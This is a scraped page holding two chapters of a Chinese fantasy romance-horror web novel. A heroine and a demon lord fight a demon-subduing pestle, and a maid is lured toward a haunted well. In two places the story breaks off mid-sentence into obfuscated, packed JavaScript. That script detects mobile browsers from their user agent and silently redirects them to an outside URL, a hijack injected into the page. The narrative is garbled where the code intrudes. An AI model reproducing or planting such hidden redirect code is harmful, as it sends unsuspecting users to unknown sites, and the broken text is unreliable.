“我怕疼啊,你没看到那金杵有一头磨得特别锋利吗?被那东西捅一下,肯定特别疼!我绝对不要被那东西捅个血窟窿出来!”朝朝看向玄烛,义正严辞地说着。 玄烛不言,视线却缓缓向后移去。 半晌,他忽然伸手拍了朝朝后背一掌。 朝朝震惊地看向玄烛,身体不受控制向下坠落。 她‘砰’的一声摔在地上,也顾不上疼,急忙爬起身想要继续躲金杵,可抬眼一瞅才发现,那金杵并没有向她追来。 金杵执着地追在玄烛身后,且杀气越来越浓。 玄烛也冷着脸骤然落地,在金杵追击至面前的瞬间,他左手翻掌挡住金杵的攻击。 霎时间金光与蓝焰同时迸发,在金杵与玄烛之间炸开成无数火花,晃得朝朝双眼发疼。 看着那金杵不断加重的杀意,玄烛微偏头颅,唇边扬起一抹起了兴致的笑意。 “这东西,是冲我来的。” 12. 千阴宅 冥火与金杵的金光剧烈碰撞着,谁也不肯示弱,一时间周遭杀气四溢,连带着卷起的风都如刀子般,刮得朝朝脸生疼。 朝朝右臂挡在脸前试图阻挡那二者溢出的强大力量,但效果并不明显。 “这难道是降魔杵……”她神色紧张地看着金杵上不断涌出的金光,随后朝玄烛喊道:“它应该是察觉到你为天魔,所以想要杀了你!” 她的话音刚落下,便听见玄烛沉声道:“它要杀的并非是我,而是混沌。” 眼看着降魔杵的力量越来越强,朝朝也来不及细思玄烛的话,一边朝玄烛冲去一边大喊:“我来替你拦住它,你先离开!只要它寻不到你的气息,便不会再追杀你了!” 她刚跑出没几步,就见玄烛抬起空着的右手一挥,一股无形的力量便拦住了朝朝的去路。 朝朝疑惑地看着他,不明白他为何阻拦自己。 玄烛却连看都没看她一眼,只是不屑地冷哼一声。 随后,他左手的火焰猛然涨大百倍,冲天的火焰将半边的夜幕染成蓝色。 金杵完全被冥火包裹住,起初还试图释放更多的金光与之抗衡,但最后还是被玄烛的力量压制,在火焰中颤抖几下后,便无力地坠落在地,归于静寂。 火光渐渐减弱,待完全熄灭,朝朝才急忙跑到玄烛身边,先是在他上下打量了一番他,待确认他无大碍后,才低头看向那不再动弹的降魔杵。 “桑远说的没错,这东西还真危险,差点害死你了!”她一手掐着腰,另一只手则对着金杵挥着拳头,以此来表示自己的不满。 身旁的玄烛幽幽看向她:“我死了不好吗?你便不用虚情假意地讨好我了。” 朝朝感觉自己被噎了一下,不自然地抿住唇瓣,片刻后扬起笑脸看向玄烛。 “天魔大人一点也不了解我,我这个人很不喜欢说谎,所以我对于天魔大人说的话都是真心真意的!” 这话的确不假,她是真的怕玄烛受伤,哪怕是磕了碰了,她的心也会跟着提起来。 她没有对玄烛说过谎,只不过是没把真话说全罢了。 玄烛垂眸注视着她,眸色有些意味深长,半晌才移开视线转身准备离开。 “我们这就要回去了?”朝朝连忙问他。 玄烛未作答。 他不答,朝朝也没想再问,正打算跟上玄烛的步伐时,余光瞥见地上的降魔杵又隐隐震动起来。 转瞬降魔杵再次离地飞起,金光乍现。 “小心!!” 听到朝朝的惊叫声,玄烛皱眉转身看去。 降魔杵锋利的尖端近在咫尺,剧烈颤动着,发出阵阵的尖鸣声。 而朝朝正站在降魔杵后方,双手紧抓着杵身,整个人拼尽所有的力气阻拦着降魔杵对玄烛的杀招。 “你快闪开!我快……拦不住它了!”朝朝费力地开口,声音几乎是从牙缝间挤出的。 一滴鲜红自她指缝间缓慢滑落。 玄烛却还是那副不慌不忙的模样,脚下也不曾挪动半步,颇为悠闲睨了一眼降魔杵后,慢声说道:“凭你可拦不住它。” 紧接着他抬手猛地一挥,朝朝便感觉一股力量抓住自己,将她用力甩出去,而在她松开降魔杵的瞬间,玄烛也再次立起左掌,用冥火挡住降魔杵。 金光一点点劈开冥火的阻拦,而后尖端缓慢地陷入玄烛手掌的皮肉,一点暗金色随之从掌心流出。 看着降魔杵的力量,他的唇边噙起一抹弧度。 阴冷,妖异,森然的笑。 “有意思,我越发想见见这里的主人了。”他低声喃喃道。 他从容不迫的应对着,旁边的朝朝却急得直跳脚:“你没办法让它停下来吗?它要是一直和你耗着,你肯定也撑不住的!” 玄烛幽深的瞳眸微转,许久才沉声开口。 “用你的琉璃净火。” 朝朝面露不解:“琉璃净火?我不会什么琉璃净火啊!” 玄烛:“你的至阳之火便是琉璃净火。” 朝朝还是奇怪,至阳之火怎么会是琉璃净火呢? 不过眼下不是思考这个问题的时候,她连忙将双手燃起红中泛金的火焰。 朝朝暗暗蓄起法力:“是不是用我的火焰烧这破东西就行了?” 然而玄烛的回答并非如此。 “不是烧它,而是烧我。” “什么?!”朝朝震惊地看向他,“我虽法力不如你,但我的火焰可是最纯粹的至阳之火,即便你是天魔也不可能在这火焰之下毫发无伤的!” 玄烛偏头看向她,漆黑的眸底盛起不耐烦:“让你烧你便烧,用上你全部的法力。” 朝朝皱紧眉头,踌躇一瞬后才下定决心动手。 掌中的火焰猛然蹿高,热气犹如汹涌澎湃的海水扬起惊涛骇浪。 她咬牙将所有法力注入,紧接着将不断跳动的庞大火焰用力推向玄烛。 眨眼间玄烛便被那红金色吞噬。 朝朝紧张地看着自己的火焰,她看不清玄烛此刻的模样,只能看到那抹高大的身影,在火焰中沐浴着。 半晌,琉璃净火逐渐变弱,随着火焰减弱,降魔杵竟将尖端调转方向,迅速飞回了普净寺中。 朝朝看着飞回去的降魔杵怔愣一瞬,待回过神才急忙朝玄烛跑去。 此时火焰已完全熄灭,玄烛的衣冠虽完好无损,但发尾却被烧焦了,手背上和脸上也是一片又一片的烧伤。 朝朝知道这些伤一定很疼,她儿时曾不小心烧伤过崇明上神的掌心,饶是一簇小小的火苗,都让上神之躯花了半个月才养好伤处,更何况是刚刚那么大的火。 就算玄烛有天魔之躯,也一定很疼。 “你……”她担忧地看着玄烛的脸,面颊上的皮肉已变得焦黑,她下意识抬起手,颤颤地伸向他的伤处,却在要触碰到他的一瞬间,想起碰到伤处他一定会更痛,于是急忙紧缩起指尖。 “很疼吧?”她小心翼翼地问道。 玄烛转动眼眸看向她,冷薄的唇瓣却是紧闭着的。 不知是天性如此,还是后天使然,他总是将自己和周遭的一切都隔绝开。 朝朝注视着他的双眼,脸上尽是担忧心疼,还有些不知所措。 这副表情,让玄烛皱起了眉头。 他对这个表情很陌生,他从未见过旁人对他露出这副表情。 笑他能理解,哭他能理解,愤怒他能理解,厌恶他亦能理解。 可朝朝现在这是什么表情? 就好像,刚刚那些火烧的不是他,而是朝朝一般。 他皱眉与朝朝对视着,良久才抬起手,食指指背在脸上的伤处轻蹭过,伤痕便渐渐褪去。 看着那些烧伤消失不见,朝朝眉眼间的郁色才淡了些。 “这到底是怎么回事?为什么你被我的火烧过后,那降魔杵就离开了?”朝朝奇怪地问道。 玄烛未作回答,直接转身冷漠地离开。 朝朝连忙小跑跟上他,左手扯住他的衣袖软声求道:“我实在太好奇了,你就发发善心告诉我吧,难道那个降魔杵害怕我的火焰吗?” 玄烛停住脚步,面色很是不悦地看向她。 对上那双阴冷的眼,朝朝才怯怯地收回了拉着玄烛的手。 玄烛垂眸看向她收起的左手,方才被降魔杵割伤的掌心已经开始愈合,只不过流出的血还未干涸。 朝朝也顺着玄烛的视线低头看去,不过她注意的不是自己的手,而是玄烛的衣袖。 刚刚被她拉过的位置已经染上了血色。 她尴尬地笑笑:“对不起啊,弄脏了你的衣服,不过我会净衣的法术,我马上帮你弄干净!” 说着她便双手捏诀,正要抹掉那片血色时,玄烛自己抖了下衣袖,那点脏污顿时就消失不见了。 朝朝还停在捏诀的动作上,呆怔片刻才对着玄烛傻笑起来:“对啊,天魔大人比我厉害,这种小法术肯定比我更熟悉。” “琉璃净火可以压制混沌之力,降魔杵是追着混沌而来,混沌的气息弱了,那东西自然就不追了。”玄烛突然沉声开口。 朝朝诧异地看着他,花了些时间才反应过来,玄烛这是在回答自己刚才问的问题。 她抿唇轻笑,忍不住又问起来:“那混沌是什么?我还是第一次听说这东西,那是天魔大人的力量吗?还有,我的至阳之火怎么会是琉璃净火?” 玄烛眉心轻皱,略微沉默后淡淡吐出几个字。 “那不是我的力量。” 说完,他便抬脚朝夜市的方向走去。 朝朝有些没理解玄烛的回答,不过玄烛答得模棱两可,应当是耐心用尽,不想再答了,所以她也不打算多问了。 她跟上玄烛的步伐,双手背在身后,脚步也变得轻快起来。 “虽然今日一波三折,但收获不少,那个降魔杵追着你杀,当真危险,所以桑远并没有骗我,倒是桑婉……”她开心地说着。 玄烛突然冷淡地打断她,反问了句:“这便是你的结论?” 朝朝疑惑地眨眨眼:“我的结论有问题吗?” 玄烛唇角轻蔑地弯了弯。 她不由得蹙眉思忖起来,片刻后她停住脚步,察觉到了问题所在。 “降魔杵杀你是为镇邪,但它并不想杀我,说明它本不会伤及无辜之人的,那么,会觉得降魔杵很危险的人,绝对不是什么良善……” 朝朝飞快地小声嘀咕完,然后看向玄烛脱口而出:“难道桑远和你一样,都是大坏蛋?!” 玄烛也停住脚步,侧身睨着她,一字一顿地重复起她的话。 “大,坏,蛋。” 意识到自己说错话,朝朝打了一个激灵,连忙用双手捂住嘴巴。 死嘴怎么那么快!这种话怎么敢说给玄烛听啊!! 她对着玄烛无辜地眨巴眨巴眼,随后慢慢放下手,傻气地笑道:“我刚才说错了,桑远和你不一样,坏蛋也分很多种嘛,桑远那种城府深的,是卑鄙的坏蛋,天魔大人和他可不一样,你坦坦荡荡的坏,忠于做自己,剩下的全部交给报应,可比桑远好多了。” 玄烛面无表情地同她对视,似是对她的话无语了,静默良久后才转身继续向前。 朝朝开心地小跑跟上他,与他并肩后问道:“既然知道桑远有问题了,那我们接下来要不要把他抓起来拷问一番?没准就能问出破解幻境的法子呢。” 玄烛没理她,只是沉默地走着。 但朝朝的嘴半点都闲不住,歪着脑袋看了他一会儿后,脑中灵光一闪,拍手说道:“对了,上一个幻境时,我不是说要给你讲个笑话吗?当时都没讲完,我现在讲给你听吧。” 玄烛的视线一直看着前方,未曾移动半分,似是将朝朝当作不存在般。 朝朝开始讲道:“从前有只小乌龟生病了,它的朋友蜗牛出去帮它买药,结果等了两个时辰蜗牛都没有回来,于是小乌龟就说,那个笨蜗牛,再不回来老子就要死了!没想到它话刚说完,门外就传来蜗牛的声音,你猜蜗牛说了什么?” 她特意停下话音,等待玄烛的回应,没等到她便开朗地自己揭晓了答案。 “蜗牛说,你再说我坏话,老子就不去了!” 说完她拍着自己的大腿,笑得前仰后合:“很好笑吧?那只蜗牛才刚出门诶!” 玄烛这才有了点反应,拧眉瞥了她一眼。 见他没笑,朝朝有些泄气:“不好笑吗?天魔大人怎么都不笑呢,每天都板着脸,脸上的肉会死掉的。” “我只有杀人的时候才会笑。”玄烛幽幽吐出声音。 朝朝不开心地噘起嘴巴:“你那又不是开心的笑容。” 玄烛:“你怎知我不开心?” “我就是知道,开心的笑容不会是你那个样子的!”朝朝理直气壮地回了他的话,紧接着双手托住自己肉乎乎的脸,露出一个十分灿烂明媚的笑容,展示给玄烛看,“你看,我这个才叫开心的笑。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966628|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >清秀的眉下一双杏眼笑得弯起,纤细的长睫十分卷翘,脸颊未施粉黛却染上了一层极浅的粉晕,唇瓣间露出一排洁白的牙齿,唇角边还挂着梨涡。 玄烛的视线在她脸上扫了一圈,随后重新看向前方,冷漠地吐出声音:“你这个应该叫傻子的笑。” 被玄烛说成傻子,朝朝的嘴噘得更高了些,还委屈地跺了下脚。 这一跺脚可好,她顿时疼得哎呦叫了好几声。 朝朝这才想起自己右脚的鞋丢了,之前注意力一直在旁的事上面,她便把此事忘了,现在倒好,这一路走来的酸痛一股脑地涌上来了。 她抬起没穿鞋的右脚,身体直接靠在玄烛身上,仅靠单腿站着,双手捧着自己可怜的右脚脚心揉着。 突然被朝朝靠住,玄烛停下脚步,不悦地开口:“离我远点。” 朝朝一脸可怜兮兮地仰头望着他:“天魔大人别这么小气嘛,我的脚都快痛死了,现在必须让这只脚休息一下,就让我依靠一下你吧。” 玄烛:“好啊,不过我只有死人才能靠着我。” 说着,他沉着脸色将左手燃起冥火。 一看到那火焰,朝朝急忙放开自己的脚,转头用力按下玄烛的手。 “刚才在普净寺没有旁人,咱们才可以使用法术,现在到街上了,随时都会冒出一个人,可不能乱用法术了。”她小声说道。 玄烛恼火地甩开她的手,脸色已经阴沉到极点。 看他恼火的样子,朝朝两根食指对在一起戳了戳,弱弱说道:“好吧,既然天魔大人不喜欢被我靠着,那我就不靠着了……” 不过转瞬她猛然把高音调,开心地大喊起来。 “天魔大人背我吧!” 玄烛的脸上难得出现了些许震惊的表情。 “背我!背我!背我!背我!” 朝朝给自己喊着口号,双手已经开始熟练地往玄烛的后背上爬了。 玄烛咬牙切齿地开口:“你信不信我现在就杀了你!” 闻言,朝朝停下口号,一本正经地对他强调道:“天魔大人又忘了?我是不会死的。” 随后她又兴高采烈继续喊起口号:“背我!背我!背我!” 此刻玄烛的怒火,足以烧穿三十三天了。 如果这世间真有报应,那他的报应就是朝朝! 不行,他一定要尽快甩掉朝朝这个大麻烦。 他冷着脸思忖的这功夫,朝朝已经在他的背上趴好,下巴抵着他的肩头,软声笑道:“天魔大人背我去文楼那边好吗,桑远说我若和他们走散了,可以去那里等他们。” 玄烛没有应声,而是在原地站定良久。 朝朝也不急,就趴在他的肩上耐心等着他。 不知过了多久,玄烛终于挪动了步子。 朝朝趴在他肩头,静静地看着他的侧脸。 她知道自己这样有些胡闹,可玄烛只有在对她愤怒的时候,才不会像一个冰冷的死物。 或许她不该同情玄烛,一个会祸乱六界的天魔不值得她付出半点感情,可不知为何,自从那个雨夜,瞥见站在桑宅大门前的玄烛后,她总觉得这个天魔好像很孤独。 而玄烛并不享受那种孤独。 她忍不住想要给玄烛一点温暖,就全当是她对他微不足道的补偿吧。 朝朝轻呼出一口气,柔软温暖的呼吸刚好扫过玄烛的颈间。 玄烛的脸色有一瞬的僵硬,片刻后他抬眼看向街边孤冷的灯笼,在阴暗处随着夜风轻轻晃动着。 很快他的眸色又渐渐化为凉薄。 二人都不在言语,直到快走到文楼时,朝朝才用食指轻轻戳了戳玄烛的后背。 “送我到这里就行了,你不是偷跑出来的吗?如果被他们看到你,我怕会有人找你麻烦。”她说道。 玄烛沉声回道:“你觉得我怕他们?” 朝朝:“我知道你不怕,可我不想他们找你麻烦,在这里多一事不如少一事的好。” 玄烛不再接话,反正他也不喜背着朝朝,于是停下脚步将朝朝放了下来。 朝朝站好后来回瞅了瞅四周,目标锁定一个小贩后,轻扯两下玄烛的衣袖:“你在这里等等我,我有很重要的东西要给你。” 她特意强调了‘很重要’三个字,玄烛以为与幻境中的线索有关,便压着厌烦停在原地等她。 朝朝跑开一会儿,回来时手中多了两个红色的东西。 她开心地跳到玄烛面前,将手中红彤彤的糖葫芦举起来,说道:“这是糖葫芦,人间的食物,酸甜的,你之前不是说你没吃过甜的东西吗?尝尝这个吧,很好吃的,虽然这里是幻境,但我试过了,食物和真的没什么两样。” 玄烛并没有将糖葫芦接过去,而是沉声问她:“给我这个做什么?” 朝朝:“谢礼啊!你背了我一路,我感谢天魔大人不是应该的吗?” “不必了。” 玄烛冷然回绝,心里想着,很快就能甩掉这个麻烦了,那对他便是最好的感谢了。 见他拒绝,朝朝直接抓起他的右手,硬是将一串糖葫芦塞进玄烛手中。 玄烛正要无情地将糖葫芦丢在地上时,朝朝又张开双手,紧紧抱住了他。 “或许我是有些不真诚,但至少现在我是真心感谢天魔大人的,如果某天魔大人也残疾了,我也会毫无怨言地背你的。” 她轻声说完才放开双手,对玄烛灿烂一笑后,转身跑开了。 玄烛站在原地,静默地注视着朝朝跑开的背影。 残疾?那家伙难道是在诅咒他? 玄烛拧紧眉头看向手中的糖葫芦,犹豫片刻后才张嘴在糖葫芦上轻咬一口。 甜与酸的滋味在口中调和,漫过舌尖滚入喉中,一路留下奇异的感觉。 这便是甜与酸吗? 他垂眸睨着糖葫芦,良久,他将其丢在地上,阴冷地抬脚从上面踏过。 真是令人生厌的感觉。 一如朝朝。 13. 千阴宅 文楼前,桑远脸上不见半点笑意,对着陆承阴冷发问:“人找到了吗?” 陆承站在他面前,恭敬回道:“我把东街铺子里的伙计都叫出来了,大家正在街上搜,但还没有找到朝小姐。” 桑远恼火地说道:“再多叫些人,必须尽快找到朝朝!” “好。”陆承点头应下。 他正要跑开,桑远又突然交代道:“西街那边让铺子里的伙计去搜,不要让宅中人过去。” 陆承一怔,最后迟钝地点了点头:“好,我知道了。” 待陆承跑远,桑远才转身看向身后的桑婉,她蹙眉望着桑远,粉唇紧闭,似是有些紧张。 桑远上前一步,低头靠近桑婉,沉声声音问道:“是你将她藏起来了?” 桑婉的眼眸轻颤,十指蜷缩着,许久才恢复镇定,淡声回道:“与我无关。” 桑远面无表情地注视着她的神情,眼尾有点点寒意流出。 许久,他才缓和脸色,柔声说道:“婉婉,我知道你在想什么,但她是我们的家人,无论如何我都会护着她的。” 闻言,桑婉紧皱眉头怒视桑远。 “护着她?”她猛地抬手揪住桑远的衣襟,厉声开口:“你护的人已经够多了!为何……” 未等她说完,桑洵的声音传了过来。 “大哥,婉婉,你们怎么了?” 桑洵奇怪地走到二人身边,注意到桑婉粗鲁的动作后,连忙将他们分开,气闷地说道:“你们怎么又在吵架?现在可不是吵架的时候,找到朝朝才是最要紧的事!” 桑婉冷着脸背过身去,不再理会桑远与桑洵,桑远则看向桑洵,安抚道:“放心吧阿洵,我们一定会找到朝朝的。” 桑洵在桑婉和桑远之间来回扫了一眼,随后无奈地叹气:“哎,你们最近两个月是怎么了?为什么总是吵架?” 说着,桑洵又埋怨起桑远:“哥,你也是的,婉婉虽治好了心疾,但情绪还不宜有大的起伏,你该多让着她些啊!” 桑远略微沉默,再看向桑婉时,眸中染上一点哀伤。 “婉婉,你不要拆散我们的家,好吗?” 桑婉未作回应,她背着身,让人无法看清她此刻的表情。 一旁的桑洵完全不明白这二人在说什么,只能疑惑地看着他们。 此刻他们与周遭的热闹和喧嚣隔绝开,各怀心思的沉闷着。 直到一个娇俏的身影突然跳到他们三人身旁。 “你们怎么了?”朝朝举着手中的糖葫芦,探着身子打量着神色凝重的三人。 看见朝朝,桑洵急忙关切地问她:“朝朝?你没事吧?” “没事啊。”说着,朝朝在他眼前转了一圈,“你看,我什么事都没有。” 见她无恙,桑洵这才松了一口气,轻声说道:“太好了,发现你走丢后我们都快急死了,你能平安回来就好。” 朝朝看向一旁的桑远和桑婉,桑远同平常没什么两样,只是对她浅浅一笑,桑婉则转过身诧异地看着她。 和桑婉对上视线,朝朝立刻换上和善的笑脸,好似将之前桑婉用匕首威胁她的事全忘了。 桑婉暗暗咬牙,双手紧攥成拳,指甲慢慢陷入掌心。 半晌她愤愤一甩衣袖,转开眼不再看朝朝。 “朝朝,你去哪里了?”桑远轻声问道。 朝朝立刻露出无辜的表情:“我哪里也没去啊,发现和你们走散后,我就一直在这条街上找你们,找了很久才想起你和我说过要到文楼前等你们,这不马上就跑来这里了。” 桑远微挑眉稍,对她的话有些疑虑,缓缓道:“一直在这条街上?那我们不可能一直没找到你啊。” “我也不知道啊。”朝朝委屈地扁起嘴巴。 桑远:“你是不是去西边那个寺庙了?” 朝朝又害怕地眨了眨一双水灵灵的眼睛,回道:“我一个人在这陌生的街上,心里怕得很,哪里敢去旁的地方啊,我也很想快些被你们找到,可一直都没见到找我的人,我还以为你们没发现我走丢了呢,心里都快急死了,你看,我被吓得鞋都丢了一只。” 说完,她晃了晃没穿鞋的脚,还低下头用双手揉起眼睛,肩膀也一颤一颤地,好似被吓哭了。 在桑洵眼里,此刻的朝朝就像一只极需保护的小鸟,令人生怜。 见桑远还想问些什么,他连忙将朝朝护在身后,轻声说道:“哥,朝朝都被吓坏了,你就别再问她了,她能回来就好,不是吗?” 桑远犹疑地瞥了一眼朝朝,见朝朝躲在桑远身后低着头哭,似乎真的被吓到了,他也不好再多问。 他轻叹一口气后说道:“好吧,朝朝应该也累了,我们回家吧。” 朝朝这才抬起头,在桑洵身后露出半个脑袋点了点头。 几人朝马车的方向走去,此番风波便算暂时结束了。 玄烛坐在一间酒肆的屋顶上,冷眼看着不远处的朝朝几人,拇指轻抹过还沾着糖味的唇瓣,低声道:“分明一滴眼泪没掉,那二人便信她哭了?” 随后他的鼻尖发出一声蔑视的哼笑声,冷冷吐出两个字。 “真蠢。” * 回到桑宅后,商枝一直哭着黏着朝朝,说什么发现朝朝走丢后,她都快吓死了,还说如果找不到朝朝了,她以后都不知道该怎么活下去。 “好啦,我这不是回来了吗?你别哭了,我保证不会再发生今日这样的事了。”朝朝坐在床边,轻声安抚着商枝。 商枝坐在她身边抽泣着,好不容易缓过气,很是自责地说道:“我不是在埋怨小姐,而是在责怪自己,今日一时得意忘形,留下小姐一人才惹出这档子事,我就该一直陪在小姐身边的。” 她正说着,南星拎着一桶滚烫的热水从外面走进来。 “朝小姐,热水已经烧好了,等我试好水温,您就可以沐浴了。”南星弱声说道。 朝朝看向南星时,她立刻羞怯地将头低下头。 她这副模样,完全和昨夜她们初见时的状态不同。 昨夜南星的视线要更热烈,更欣喜,甚至带了些……占有欲,而这些特征在现在的南星身上根本找不到。 就像是……换了个人般。 想到这里,朝朝倏地顿住。 这种奇怪的差异,不就和今日桑洵早晚的变化几乎一模一样吗? 朝朝越发地疑惑,一直皱眉盯着南星看。 感觉到朝朝的视线,南星的头更低了些。 “南星,你很怕我吗?”朝朝问道。 南星的眸子慌乱地晃了晃,回道:“不,不是……” 商枝站起身,一边走向南星一边说道:“小姐,今早天葵和我说了,南星打小就不爱说话,胆子小,和不熟的人都不敢对视,等熟悉后她便不会如此了。” “是、是这样,我胆子小,还请朝小姐见谅。”南星在一旁附和着商枝的话。 听完这话,朝朝越发地奇怪了。 不敢和人对视?不对啊,昨夜南星可是直勾勾地盯着她看啊! 她思忖时,商枝对南星说道:“我伺候小姐沐浴就行,你回去歇着吧。” 南星急忙弱声道:“你今日也累了,这事便让我来做吧。” 看她们互相谦让,朝朝轻声插嘴进来:“你们两个都去歇着吧,我可以自己……” “那怎么行!”商枝气呼呼地打断她,“今日您受了惊吓,现在最该休息!” 说完,商枝直接弯下身,想要去提地上的热水桶,见状南星也弯腰去提桶。 二人的手同时碰到木桶,商枝的手上多用了些力,却没想木桶的拎手上沾了水,她手一滑,整桶热水便倒向南星那边,洒了她一腿。 “啊!” 那水刚烧开不久,还冒着烫人的热气,烫的南星后退两步,叫了一声。 “对不起对不起!我不是故意的,你没事吧?”商枝也被吓了一跳,站在原地手忙脚乱地,不知该如何是好。 朝朝连忙起身走向她们,说道:“商枝,快去拿凉水和药膏过来。” 商枝这才镇定下来,用力点头后转身去找水和药膏。 朝朝拉着南星走到床边 “小姐,我没事,那水其实也没有多烫。”南星弱声说道。 朝朝没应她这话,强行按着南星在床边坐下后,在南星身前蹲下,直接掀起南星的裙摆。 白皙的两条小腿都被烫红了。 朝朝抬头看向南星:“都烫红了还说不疼,如果不抹药膏,明日你可要遭罪了。” 待她说完,南星又将头深深低下。 朝朝无奈地叹气道:“我不是在责怪你,而是在担心你。” 南星这才怯怯地瞥了她一眼。 此时商枝端着冷水和药膏小跑过来。 将水盆放在地上后,朝朝和商枝用冷水弄湿帕子,帮南星冷敷起小腿被烫红的位置 看到这二人的动作,南星更慌了,急忙说道:“朝小姐,我自己来就行了!” 她试图抢朝朝手中的帕子,却被朝朝灵巧地躲过:“让你来弄,你肯定会草草了事,所以你老实地坐着就行了,我帮你弄。” 南星又不知所措地看向商枝。 商枝直接开口说道:“是我烫伤你的,就该我帮抹药膏,至于小姐……她倔得狠,可不会听我的劝。” 说完,商枝继续认真地帮南星冷敷着小腿。 南星默声看着她们,半晌才弱声开口。 “朝小姐和商枝都是好人。” 朝朝俏皮地对她眨了下左眼:“你可算知道了,以后在我们面前也不用拘谨,放松一点。” 闻言,南星脸颊微微泛红,点了点头。 朝朝继续轻柔地帮南星擦拭烫伤的位置,担心她还有其他位置被烫到了,朝朝将她的衣裙又向上拨了拨。 这一拨,朝朝发现了南星膝盖上方的伤疤。 那伤疤呈黑紫色,扭曲狰狞地绕了大腿一整圈,十分地刺目。 朝朝心中一惊,立刻将另一侧膝盖上的衣裙也撩起,那里有着同样恐怖的伤痕。 “这伤痕是怎么来的?”朝朝震惊地问道。 南星看向那伤疤,面色不见半点异常,只是茫然地摇头:“我不记得了,可能是过去割伤的吧。” 她话音刚落,朝朝便拔声喊道:“这可不是普通的割伤!这伤疤明显是你曾被人锯断双腿所致,如此严重的伤,你怎么可能不记得?!” 南星被朝朝吓了一跳,瞬间眼圈泛红,嗫喏道:“对、对不起,我真的不记得了。” 身旁的商枝连忙开口:“小姐,这伤疤看着是挺吓人,但应该没有你说的那么严重吧,你看南星现在两条腿好好的,一看就不是被锯断过腿的样子啊。” 的确,在常人眼中,被锯断双腿再接续上后,能同寻常人般自由行走,这种事是绝对不可能的。 但朝朝很清楚,这些伤疤的背后定然牵扯着什么诡异的事情。 “南星,你好好想想,你有没有遇到过什么可怕的事?”朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966629|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝急切地追问。 南星却被她问得越发惶恐:“不,我、我真的什么都不记得了,对不起,不要再问我了!” 说完,她惊慌地站起身,拔腿冲出朝朝的屋子。 见状,商枝也站起身:“这药还没涂完呢,小姐,我去看看南星。” 随后商枝也追了出去。 朝朝站在原地,眉头紧锁地沉思着。 桑洵的手腕上有割腕的伤疤,南星的双腿上有锯断双腿的伤疤。 二人身上都有极其严重的伤疤,这一定不是巧合。 想到此处,朝朝心中一惊,向屋外看去。 “难道,桑宅的所有人……” 此时屋外浓浓夜色无边无尽,厚重云层半遮月光。 柳枝裹着黑暗随着夜风晃动,宛若摆动着腰身的幽魂。 商枝踩着青石板路朝南星的屋子小跑着。 也不知怎么回事,她刚刚还能看到南星的身影,眨眼的功夫,南星就消失不见了。 眼看快到南星的屋前时,天葵突然从左侧冒出来,挡住了商枝的路。 商枝被她吓了一跳,看清是天葵后,商枝轻拍两下胸口,安抚心跳后问道:“天葵,你看到南星了吗?” “看到了。”天葵缓缓弯起唇角,眸底闪烁着莫名欣喜的光亮,右臂直直伸起,指了一个与南星屋子完全相反的方向。 “她去那边了。” 商枝顺着她所指的方向看去,面露疑惑:“那边?不可能啊,我过来时并没有看到南星跑向那边啊。” “你不信我?”天葵的声音往下沉了沉,脸上却还挂着那种开心却诡异的笑容。 天葵的脸上蒙着一层暗影,双眼深陷在眼眶中,乍一眼看去,好似只裹了一层人皮的骷髅。 商枝打了个寒颤,不过转瞬她便觉得这一瞬的恐惧有些可笑。 这一天相处下来,天葵没少照顾她,分明是个很好的人,她怕什么啊? 想着,商枝点头说道:“好吧,我去那边找找她,她刚才被热水烫了,我怕她没处理好伤处,再落了疤。” 她正欲转身去追南星,天葵又忽地拉住她手腕。 “我陪你一起去吧。”天葵用十分缓慢的语调说道。 商枝略微有犹豫后点了点头。 天葵比她熟悉桑宅,找起南星要能更容易些。 二人牵着手走出了南院,天葵带着她一路朝西侧走去。 夜风夹着凉意钻进衣袖中,令人后背起了一层鸡皮疙瘩。 商枝抬起另一只手搓了搓发冷的胳膊。 这风好像是在一瞬间冷下来的。 直到走入西院,看见那幽暗的月洞门时,商枝才急忙停住脚。 “这里……难道是西院的废园?”她怯声问道。 天葵笑着转头看向她:“是啊,此处无人来,所以南星经常躲到这里。” 说完,天葵便要拉着她进去。 商枝又忙拉住她,说道:“我们还是不要进去的好,今早我捡到一张纸条,那上面写着这里很危险,小姐也不让我来这里呢。” “你在说什么啊?这里才没有危险呢。” 天葵的笑容越来越深,那双发亮的眼眸中心,好像深藏着漩涡,一点点扯住商枝的视线陷进去。 她又说道:“我比朝小姐更了解这里,你要相信我,这里没有危险,如果有危险,桑老爷为何不把这里封掉?” “也、也对……”商枝觉得她的话有点道理。 就在她踌躇的一瞬,天葵用力拉着她踏入了废园。 园内杂草有小腿那么高,一片荒凉,被夜色笼罩后,更显阴森。 商枝深吸一口气后,慢慢放松下来。 既然已经进来了,也没见什么危险,她也没必要再自己吓自己了。 她松开天葵的手,在园中找起南星。 “南星!南星!你在这里吗?”商枝唤了两声,却无人回应。 她刚要再开口唤南星时,身后突然传来天葵的一声惊呼。 “糟了!南星掉到井里了!” 闻言,商枝也来不及细思,急忙转身朝天葵的方向跑去。 天葵站在一口古井旁,弯腰向井内看着。 商枝也跑到井边,同天葵一起弯腰向井下看去。 此时夜风吹散夜幕中厚重的云层,皎洁清冽的月光倾泻,驱散了井内的漆黑。 井下并不深,清澈的井水泛起层层涟漪。 商枝看见水面上有一个影影绰绰的倒影,黑色的,看不清面容,但和她站在井边往井内看的动作一模一样。 那应该是她自己的影子。 “南星不在井里啊。”商枝喃喃说道。 